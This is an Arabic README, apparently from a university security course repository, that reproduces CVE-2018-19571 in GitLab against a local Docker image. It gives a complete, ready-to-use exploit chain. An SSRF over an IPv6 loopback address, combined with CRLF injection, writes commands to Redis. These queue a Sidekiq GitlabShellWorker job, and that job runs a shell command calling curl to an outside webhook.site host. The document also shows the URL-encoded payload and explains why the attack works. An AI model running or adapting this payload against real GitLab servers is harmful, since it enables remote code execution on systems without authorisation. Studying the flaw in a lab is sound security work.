
عرض توضيحي لـ CVE-2018-19571: GitLab SSRF CVE
هذا المستودع هو إعادة إنتاج لـ CVE-2018-19571، وكيف يمكن أن يؤدي، عند دمجه مع استغلال حقن CRLF، إلى تنفيذ تعليمات برمجية عن بُعد (RCE).
إصدارات GitLab CE/EE من 8.18 حتى 11.x قبل 11.3.11، و11.4 قبل 11.4.8، و11.5 قبل 11.5.1، معرضة لثغرة SSRF في webhooks.
من أجل إعادة الإنتاج هذه، سنستخدم صورة GitLab ضعيفة، وتشغيلها باستخدام Docker Compose.
git clone https://github.com/CS4239-U6/gitlab-ssrf.git
cd gitlab-ssrf
docker-compose up
الهدف هو توفير رابط webhook، عند معالجته، يؤدي إلى إرسال حمولة إلى Redis.
هذه الحمولة، التي سيتم وضعها في قائمة الانتظار، ستحتوي على مهمة Sidekiq، والتي عند تنفيذها ستشغل تعليمات شل عشوائية. في حالتنا، ستقوم بنسخ قيمة العلم لنا.
سنقوم أولاً بتنفيذ الخطوات، قبل شرح ما تفعله كل خطوة.
أنشئ حسابًا، أو سجل الدخول باستخدام حساب الجذر.
يجب أن تكون كلمة مرور الجذر password، كما هو محدد في الملف initial_root_password، لكن في بعض الأحيان لا يتم تحميل هذا بشكل صحيح.
في مثل هذه الحالات، ستحتاج إلى تعديل كلمة مرور حساب الجذر مباشرة.
docker exec -it gitlab-ssrf_web_1 /bin/bash
# Inside the shell
gitlab-rails console
# Inside the console
user = User.find_by_username 'root'
user.password = 'password'
user.password_confirmation = 'password'
user.save!
ثم، توجه إلى http://localhost:5080 وسجل الدخول.

انتقل إلى صفحة إنشاء المشروع.
بعد ذلك، توجه إلى http://localhost:5080/projects/new وانقر على التبويب Import project. يجب أن ترى أن هناك خيارًا: Repo by URL. سنستخدم ذلك لتنفيذ هجوم SSRF.

أنشئ webhook لاستلام العلم.
أنشئ رابط webhook على https://webhook.site/.
استبدل رابط webhook في الحمولة التالية:
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/
multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'| curl https://webhook.site/807b6a27-314e-4947-b5f1-c384d8dc574f -k\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
exec
exec
/ssrf.git
ثم أخيرًا، نقوم بتشفير ما سبق باستخدام URL Encoder. لاحظ أننا سنقوم فقط بتشفير الحمولة (التي تتضمن المسافات في البداية وفواصل الأسطر)، وليس السطر الأول والأخير. ستحتاج أيضًا إلى استخدام CRLF. وأخيرًا، قم باستبدال الأحرف التالية، إن وجدت، بتشفيرها المناسب:
_: %5F.: %2E-: %2Dgit://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7C%20curl%20https%3A%2F%2Fwebhook%2Esite%2F807b6a27%2D314e%2D4947%2Db5f1%2Dc384d8dc574f%20%2Dk%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf.git
(أو يمكنك فقط استخدام هذه الحمولة أعلاه، والتحقق من https://webhook.site/#!/807b6a27-314e-4947-b5f1-c384d8dc574f/ لرؤية المخرجات).

يجب أن ترى أنه تم إجراء طلب GET إلى webhook (وسيتكرر بينما يحاول GitLab جلب المستودع بشكل متكرر).

إذا فشل ما سبق بالنسبة لك، قد تحتاج إلى تمكين الطلبات الصادرة إلى الخدمات الداخلية.

يمكنك القيام بذلك على http://localhost:5080/admin/application_settings/network بعد تسجيل الدخول كجذر.
نحن نستغل ثغرتين لهذا الهجوم. الثغرة الأولى هي SSRF، حيث يمكن الوصول إلى الخدمات الداخلية عبر IPv6. يمكنك رؤية المزيد من المعلومات في مشكلة GitLab هنا: https://gitlab.com/gitlab-org/gitlab-foss/-/issues/53242.
الثغرة الثانية هي كيفية السماح بفواصل الأسطر في رابط webhooks.
هاتان الثغرتان مجتمعتان تسمحان لنا بتمرير حمولة إلى الخدمة الداخلية. في هذه الحالة، نستهدف خدمة Redis المحلية.
الحمولة التي نمررها تضيف مهمة جديدة في قائمة انتظار Redis، وهذه المهمة تتم معالجتها فعليًا بواسطة Sidekiq، وهو مشغل مهام غير متزامن يعمل مع Ruby on Rails. نحن نستهدف تحديدًا فئة المهمة GitlabShellWorker، والتي تسمح لنا بتنفيذ تعليمات برمجية عشوائية.
class GitlabShellWorker
include ApplicationWorker
include Gitlab::ShellAdapter
def perform(action, *arg)
gitlab_shell.__send__(action, *arg) # rubocop:disable GitlabSecurity/PublicSend
end
end
وبالتالي، من خلال تمرير open('| curl <URL HERE>').read وتشغيلها باستخدام class_eval، يمكننا تشغيل تنفيذ التعليمات البرمجية عن بُعد.